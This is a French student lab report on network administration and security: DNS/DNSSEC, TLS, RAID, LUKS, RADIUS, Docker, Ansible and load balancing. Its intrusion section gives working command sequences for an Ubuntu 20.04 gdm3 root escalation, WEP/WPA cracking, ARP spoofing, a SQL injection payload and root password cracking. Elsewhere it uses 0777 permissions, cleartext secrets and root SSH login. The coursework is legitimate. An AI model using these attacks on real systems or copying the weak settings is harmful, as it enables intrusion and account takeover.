L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).
2ème étape: Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :
zone "piedbleu.site" IN { type master; file "/etc/bind/db.piedbleu.site"; allow-transfer { 217.70.177.40; }; };
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).
3ème étape: Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":
; ; BIND data file for local loopback interface ; TTL 604800 @ IN SOA ns1.piedbleu.site. root.piedbleu.site. ( 3 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.piedbleu.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.181
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost. Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:
host -t any piedbleu.site
Résultat :
A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS) 2ème : ns6.gandi.net
Sécurisation de site web par certificat
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:
@ IN MX 100 ns1.piedbleu.site.
Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases
admin:root
et nous effectuons la commande :
newaliases
Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :
mailx
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:
openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:
/etc/ssl/piedbleu.site.crt /etc/ssl/GandiStandardSSLCA2.pem
Nous copions aussi notre clé privée dans ce répertoire:
/etc/ssl/piedbleu.site.key
Nous pouvons maintenant passer à la configuration d'apache2 :
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:
a2enmod ssl
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):
<VirtualHost *:80> ServerAdmin admin@piedbleu.site DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined Redirect permanent / https://www.piedbleu.site/ </VirtualHost> <VirtualHost *:443> ServerName piedbleu.site ServerAlias www.piedbleu.site DocumentRoot /var/www/html CustomLog /var/log/apache2/secure_access.log combined SSLEngine on SSLCertificateFile /etc/ssl/piedbleu.site.crt SSLCertificateKeyFile /etc/ssl/piedbleu.site.key SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None </VirtualHost>
La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :
www IN A 193.48.57.181
Pour que les modifications soient prises en compte, nous redémarrons apache2:
service apache2 restart
Sécurisation du serveur DNS par DNSSEC
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site
Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.
On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :
zone "piedbleu.site" IN { type master; file "/etc/bind/db.piedbleu.site.signed"; allow-transfer { 217.70.177.40; }; };
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.
service bind9 restart
Vérification :
Nous vérifions la configuration de notre DNS grâce au site : https://dnsviz.net/d/piedbleu.site/dnssec/
De plus, l'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed
nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed' Verifying the zone using the following algorithms: RSASHA1. Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked
IPv6
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
Ensuite, on resigne le DNS :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk
Et on redémarre bind9.
Tests d’intrusion
Exploitation de failles du système : Ubuntu 20.04
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en exclusivité dans le département IMA l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.
1) J'installe Ubuntu 20.04 dans une VM.
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...
sudo adduser u1 su u1 id uid=1001(u1) gid=1001(u1) groupes=1001(u1)
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :
ln -s /dev/zero ~/.pam_environment
Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :
top
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.
kill -SIGSTOP 1098
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.
rm ~/.pam_environment
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.
nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"
On se déconnecte de notre session.
Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !
whoami pwn id uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)
Explication :
En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.
Note 1 : La faille semble avoir été rapidement patchée.
Note 2 : Les failles exploitées lors de l'élévation de privilège :
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)
Version du noyau et des parquets :
Ubuntu 20.04.1 LTS, kernel 5.6 gdm3, version 3.36.3-0ubuntu0.20.04.1 accountsservice, version 0.6.55-0ubuntu12~20.04.1
Source :
How to get root on Ubuntu 20.04 by pretending nobody’s /home, Kevin Backhouse, November 10 2020
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
Cassage de clef WEP d’un point d’accès WiFi
Nous commençons tout d’abord par installer le paquet aircrack :
apt-get install aircrack-ng
À partir de là, nous listons la liste des interfaces wifi disponibles :
airmon-ng
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.
airmon-ng start wlp1s0mon
On peut ensuite lancer le scan des réseaux wifi environnants :
airodump-ng --encrypt wep wlp1s0mon
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.
On capture ensuite les paquets émis par le point d’accès cible :
airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :
aircrack-ng -z mon_fichier-01.cap
On voit que le programme a réussi à trouver la clé (message « Key Found »).
Cassage de mot de passe WPA-PSK par force brute
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).
On lance ensuite le scan des réseaux wifi WPA PSK environnants :
airodump-ng --encrypt wpa-psk wlp1s0mon
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:
airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):
crunch 8 8 -o 12345678 > motdepasse.txt
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :
aircrack-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :
Attaque de type "homme au milieu" par usurpation ARP
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :
apt install dsniff export PATH=/sbin:/usr/sbin:$PATH echo 1 > /proc/sys/net/ipv4/ip_forward
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :
arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :
Intrusion sur un serveur d’application Web
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :
' OR 1 = 1 --
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.
nmap -T4 -A honey.plil.info
On obtient :
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.
On utilise cette découverte pour se connecter sur le serveur en SSH.
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :
Réalisations
Sécurisation de données : RAID 5 logiciel
Tout d'abord, on crée 3 partitions virtuelles :
lvcreate -L1G -n piedbleu-raid1 storage
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.
Tout d'abord, on installe le paquet mdadm.
apt instal mdadm
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 mdadm --monitor --daemonise /dev/md0
On formate notre volume RAID.
mkfs.ext4 /dev/md0
On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2
Pour finir, on peuple notre volume RAID.
mkdir /raid5 mount -a touch /raid5/test
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque. On peut donc supprimer une partition et toujours avoir accès à nos fichiers.
Chiffrement de données
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :
fdisk -l # on repère la clé USB fdisk /dev/sdb # on formate la clé en une seule partition cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4
Ensuite, on monte la clé USB, et on la peuple :
mkdir /mnt/USB mount -t ext4 /dev/mapper/myusbkey /mnt/USB touch /mnt/USB/mytestfile.txt
Une fois que l'on a fini, on démonte le système de fichier proprement :
umount /mnt/USB cryptsetup luksClose myusbkey
Sécurisation WiFi par WPA2-EAP
FreeRADIUS
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.
On installe le paquet :
apt install freeradius
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :
client 10.60.100.10/24 { shortname = Piedbleu secret = pasglop }
On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :
pifou Cleartext-Password := "pasglop"
Pour finir, on configure l'authentification PEAP-MSCHAPv2.
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :
eap{ ... default_eap_type = peap ... }
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :
use_mppe = yes require_encryption = yes require_strong = yes with_ntdomain_hack = yes
Point d'accès WiFi
Ensuite, on configure le point d'accès WiFi.
ssh root@10.60.100.10 -c aes128-cbc
aaa authentication login eap_group1 group radius_group8 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop aaa group server radius radius_group8 server 193.48.57.181 auth-port 1812 acct-port 1813 exit
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :
dot11 ssid Piedbleu vlan 308 authentication open eap eap_group8 authentication network-eap eap_group8 authentication key-management wpa Mbssid Guest-mode exit
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:
interface Dot11Radio0 Mbssid encryption vlan 308 mode ciphers aes-ccm tkip ssid Piedbleu exit
Encapsulation:
int dot11radio0.8 encapsulation dot1q 308 bridge-group 8 exit int Gi0.8 encapsulation dot1q 308 bridge-group 8 exit
En n'oubliant pas de démarrer l'interface :
int dot11radio0 no shutdown end write
Ping du point d'accès vers notre VM :
On observe notre SSID "Piedbleu" :
On s'y connecte avec notre téléphone tout en lançant la commande :
freeradius -X
DHCP
6509E
ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc
ip dhcp pool groupe8 dns 193.48.57.181 network 10.60.108.0 255.255.255.0 default-router 10.60.108.1 exit ip dhcp excluded-address 10.60.108.0 10.60.108.99 ip dhcp excluded-address 10.60.108.150 10.60.108.255 write exit sh ip dhcp binding
C9200
ssh admin@10.60.100.2
ip dhcp pool groupe8 dns 193.48.57.181 network 10.60.108.0 255.255.255.0 default-router 10.60.108.2 exit ip dhcp excluded-address 10.60.108.0 10.60.108.49 ip dhcp excluded-address 10.60.108.100 10.60.108.255 exit write sh ip dhcp binding
Mascarade
6509E
int vlan 308 ip nat inside
access-list 108 permit ip 10.60.108.0 0.0.0.255 any ip nat inside source list 108 interface Loopback0 overload
Ferme de serveurs Web
Le but d’implanter une architecture d’équilibrage de charge pour le site Web : http://champi.piedbleu.site
Le résultat est visible à l'adresse : http://champi.piedbleu.site/server-status
Architecture générale de la ferme
Configuration réseau de la VM Capbreton
Dans /etc/xen/Capbreton.cfg, on ajoute une interface réseau :
vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C', 'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D', ]
On redémarre ensuite la VM.
Dans /etc/network/interfaces, on configure notre nouvelle interface :
auto eth1 iface eth1 inet static address 192.168.42.8 netmask 255.255.255.0
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.
#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";
Configuration réseau de la VM Chassiron
Dans /etc/network/interfaces, on configure notre interface :
auto eth0 iface eth0 inet static address 192.168.42.22 netmask 255.255.255.0 gateway 192.168.42.8
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :
#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";
Puis on modifie le fichier /etc/resolv.conf :
domain plil.info nameserver 192.168.42.8
Mascarade
On met en place une mascarade sur notre machine principale pour permettre à notre machine secondaire d’avoir un accès à Internet.
Tout d'abord, on modifie le fichier /etc/systcl.conf :
net.ipv4.ip_forward=1
Ensuite, on lance la commande suivante :
echo 1 > /proc/sys/net/ipv4/conf/all/forwarding
Pour finir, on configure iptables :
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32 iptables -P FORWARD DROP iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32
apt install iptables-persistent
Tests :
ping 192.168.42.22 #sur la VM capreton ping 192.168.42.8 #sur la VM Chassiron ping 8.8.8.8 #sur la VM Chassiron apt update #sur la VM Chassiron
Clés SSH
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :
ssh-keygen -b 2048
Ensuite, on propage notre clé publique sur toutes les VM secondaires :
for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :
PermitRootLogin yes
dans le fichier /etc/ssh/sshd_config.
Installation d'Ansible
Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible. Nous commençons par installer ansible sur notre VM principale :
apt install ansible
Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :
[vmperso] 192.168.42.22 [vmChassiron] 192.168.42.15 192.168.42.17 192.168.42.20 192.168.42.22 192.168.42.24 192.168.42.25 192.168.42.28
Ansible rôle MOTD
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.
Tout d'abord, nous téléchargeons le rôle :
ansible-galaxy install adriagalin.motd
Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre VM secondaire sur Chassiron. Voici notre playbook (/etc/ansible/playbook.yml) :
Hosts : vmperso Roles: -{ role : adriagalin.motd }
Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml
Nous obtenons le résultat voulu dans le fichier /etc/motd de notre VM située sur Chassiron :
Ansible rôle NTP
Ici, on crée notre propre rôle pour configurer motd ET ntp, copier leur fichiers de configuration, et installer les paquets nécessaires pour la suite du TP.
Voici le main.yml de nôtre rôle "test" :
- name: installation des paquets apt: pkg: - ntp - python3 - python3-pip - name: installation de pip docker pip: name: docker - name: copie des fichiers de configuration de NTP copy: src: "/etc/ntp.conf" dest: "/etc/ntp.conf" owner: root group: root mode: "0777" - name: copie des fichiers de configuration de MOTD copy: src: "/etc/motd" dest: "/etc/motd" owner: root group: root mode: "0777"
Et voici notre playbook "test.yml" :
- hosts: vmperso roles: - test
Installation de Docker
Le but de cette partie est d’installer docker sur notre VM secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants :
ansible-galaxy install geerlingguy.docker
Nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :
- hosts: vmperso roles: - adriagalin.motd - geerlingguy.docker - registry vars: docker_apt_gpg_key : https://download.docker.com/linux/debian/gpg docker_apt_repository: "deb [arch=Modèle:Docker apt arch] https://download.docker.com/linux/debian buster Modèle:Docker apt release channel"
Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.
D'un autre côté on installe docker sur notre VM principale, en lançant les commandes suivantes :
apt install software-properties-common apt-transport-https ca-certificates curl gnupg2* curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - add-apt-repository \ "deb [arch=amd64] https://download.docker.com/linux/debian \ $(lsb_release -cs) \ stable" apt install docker-ce docker-ce-cli containerd.io
Création du conteneur
Tout d'abord, dans notre VM principale, on fait le Dockerfile suivant (/root/docker/Dockerfile) :
FROM httpd:latest COPY ./index.html /usr/local/apache2/htdocs/ CMD [ "httpd", "-D", "FOREGROUND" ]
On vérifie que tout est ok sur notre VM principale :
docker build -t piedbleu . docker images REPOSITORY TAG IMAGE ID CREATED SIZE piedbleu latest ec851c4fdad9 5 seconds ago 138MB docker run -d piedbleu docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS ae0c8f4106b6 piedbleu "httpd -D FOREGROUND" 16 seconds ago Up 12 seconds 80/tcp
On voit que notre conteneur, qui intègre tous les fichiers de notre site Web, a démarré apache2 automatiquement sur le port HTTP 80 classique.
Ensuite, on installe un dépôt docker local (Docker Registry) sur notre machine secondaire via la commande :
docker run -d -p 5000:5000 --restart always --name registry registry:2
Pour exporter notre image "piedbleu" sur le dépôt local, depuis notre VM principale on lance la commande suivante :
docker tag piedbleu 192.168.42.22:5000/piedbleu docker push 192.168.42.22:5000/piedbleu
Pour récupérer cette image sur notre VM secondaire on fait :
docker pull 192.168.42.22:5000/piedbleu
Pour autoriser les connexions http pour les push/pull, on ajoute sur les deux VM le fichier de configuration suivant (/etc/docker/daemon.json) :
{ "insecure-registries" : ["192.168.42.15:5000", "192.168.42.16:5000", "192.168.42.17:5000", "192.168.42.18:5000", "192.168.42.19:5000", "192.168.42.20:5000", "192.168.42.21:5000", "192.168.42.22:5000", "192.168.42.23:5000", "192.168.42.24:5000", "192.168.42.25:5000", "192.168.42.26:5000", "192.168.42.28:5000"] }
Maintenant que notre docker push/pull fonctionne en HTTP, on fait notre propre rôle appelé "registry" pour déployer automatiquement l'image registry sur notre VM secondaire. On copie aussi le fichier de configuration daemon.json de notre VM Capbreton à notre VM Chassiron, puis on redémarre docker sur la VM Chassiron.
Voici le main.yml de ce rôle :
- name: copie fichier de config daemon.json copy: src: daemon.json dest: /etc/docker/daemon.json group: root owner: root mode: "0777" notify: - Restart docker - meta: flush_handlers - name: mise en place du registry sur notre vm secondaire docker_container: name: registry image: registry ports: - "5000:5000"
Dans notre playbook on ajoute la ligne suivante :
- hosts: vmperso roles: ... - registry
Configuration des serveurs internes
Ici, on fait un rôle nouveau "déploiement" pour déployer notre conteneur depuis notre dépôt registry sur toutes les VM de Chassiron.
Pour que cela fonctionne, il faut que les autres groupes aient installé sur leur VM Chassiron python-pip, puis pip install docker :
apt autoremove python apt install python3 python3-pip ln -s /usr/bin/python3 /usr/bin/python ln -s /usr/bin/pip3 /usr/bin/pip pip install docker service docker restart
Pour déployer notre conteneur Web, on fait un push sur la VM principale, un pull sur notre VM secondaire, puis on lance le rôle "deploiement".
Voici le main.yml de ce rôle :
- name : deploiement du conteneur web sur les serveurs Web internes docker_container: name: piedbleu image: 192.168.42.22:5000/piedbleu ports: - "8088:80"
Dans notre playbook on ajoute les lignes suivantes :
- hosts: vmchassiron roles: - deploiement
Voici ce que l'on obtient lors du déploiement :
En allant sur les VM Chassiron des membres du groupe 1, on vérifie que tout est ok :
root@oronge:~# docker ps -a CONTAINER ID IMAGE PORTS NAMES 3b9a3d5f74d6 192.168.42.22:5000/piedbleu 0.0.0.0:8088->80/tcp piedbleu
root@trompettedelamort:~# docker ps -a CONTAINER ID IMAGE PORTS NAMES 69b3cd72b4ef 192.168.42.22:5000/piedbleu 0.0.0.0:8088->80/tcp piedbleu
etc.
Equilibreur de charge
Dans cette partie, on va mettre en place un second site web qui va se comporter comme un serveur mandataire inverse et un équilibreur de charge.
Tout d'abord, on active les modules Apache proxy, proxy_http, proxy_balancer, lbmethod_byrequests et mod_status avec les commandes :
a2enmod proxy proxy_http proxy_balancer lbmethod_byrequests status service apache2 restart
On configure le fichier reverse.conf :
<VirtualHost *:80> ServerName champi.piedbleu.site ProxyPreserveHost On ProxyPass /server-status ! ProxyPass / "balancer://balancing" ProxyPassReverse / "balancer://balancing" <Location /server-status> SetHandler server-status Allow from all </Location> </VirtualHost>
Et enfin le fichier apache.conf :
Header add Set-Cookie "ROUTEID=.%{BALANCER_WORKER_ROUTE}e; path=/" env=BALANCER_ROUTE_CHANGED <Proxy "balancer://balancing"> BalancerMember "http://192.168.42.15:8088" route=1 BalancerMember "http://192.168.42.17:8088" route=2 BalancerMember "http://192.168.42.20:8088" route=3 BalancerMember "http://192.168.42.22:8088" route=4 BalancerMember "http://192.168.42.24:8088" route=5 BalancerMember "http://192.168.42.25:8088" route=6 BalancerMember "http://192.168.42.28:8088" route=7 ProxySet stickysession=ROUTEID </Proxy>
Ensuite, on ajoute un nouvel enregistrement de type CNAME dans le fichier de configuration de bind.
champi IN CNAME ns1
On resigne les enregistrements de zone puis on redémarre bind9 :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk service bind9 restart
Voici le résultat :
On peut tester notre équilibreur de charge en lançant la commande suivante :
while [ true ]; do curl -s http://champi.piedbleu.site > /dev/null; sleep 1; done
Tout en rafraîchissant la page suivante :
http://champi.piedbleu.site/server-status